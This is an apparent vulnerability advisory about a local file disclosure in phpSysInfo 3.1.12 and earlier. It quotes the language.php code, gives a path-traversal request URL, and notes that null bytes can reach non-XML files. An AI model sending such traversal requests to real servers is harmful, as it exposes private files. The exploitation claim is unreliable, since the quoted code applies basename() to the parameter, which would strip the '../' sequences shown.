PHPSYSINFO versions 3.1.12 and below suffer from a local file disclosure vulnerability.
b91e2c3deff78812557e1059259cdd4c9d9b19aee77d73d5577ab98c615f3ab5
In \apps\phpsysinfo3.1.12/language/language.php
60: echo file_get_contents(APP_ROOT . '/language/' . $lang . '.xml');
is presented where $lang is defined as:
52: $lang = basename($_GET['lang']);
Which can be exploited like
localhost/phpsysinfo/language/language.php?lang=../../../stufftoinclude
which can be extended with nullbytes to contain any other file that isn't
XML too.